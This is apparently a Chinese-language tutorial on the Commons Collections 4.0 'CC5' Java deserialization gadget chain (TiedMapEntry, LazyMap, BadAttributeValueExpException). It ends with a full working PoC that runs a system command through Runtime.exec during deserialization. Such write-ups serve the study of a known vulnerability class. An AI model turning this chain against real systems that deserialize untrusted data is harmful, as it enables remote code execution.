测试环境
jdk1.8(jdk8u71)
Commons Collections4.0
在jdk1.8的时候Annotationinvocation的readObject方法被改写,cc1链就不适用了,cc5链是基于Lazymap类在jdk1.8使用TiedMapEntry+BadAttributeValueExpException来触发LazyMap的get方法。 CC1LazyMap链
利用链核心
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chainedTransformer=new ChainedTransformer(transformers);
TiedMapEntry类
toString()方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
getValue()方法
public V getValue() {
return this.map.get(this.key);
}
hashCode()方法
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
构造方法
public TiedMapEntry(Map<K, V> map, K key) {
this.map = map;
this.key = key;
}
toString会触发getValue,getValue又会触发get函数,而通过构造函数可以将LazyMap赋值给this.map,这里还有另外一个方法hashCode方法也可以触发getValue这是cc6链中的后面再说。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
接下来就是在BadAttributeExpValueException的readObject方法中触发toString,这里valObj是可控的,我们可以通过反射将TiedMapEntry传入。
编写POC
import com.sun.xml.internal.messaging.saaj.soap.ver1_1.FaultElement1_1Impl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5Poc {
public static void main(String[] args) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chainedTransformer=new ChainedTransformer(transformers);
Map lazyMap=LazyMap.lazyMap(new HashMap(),chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"asd");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("asd");
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
//反射赋值
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
//序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}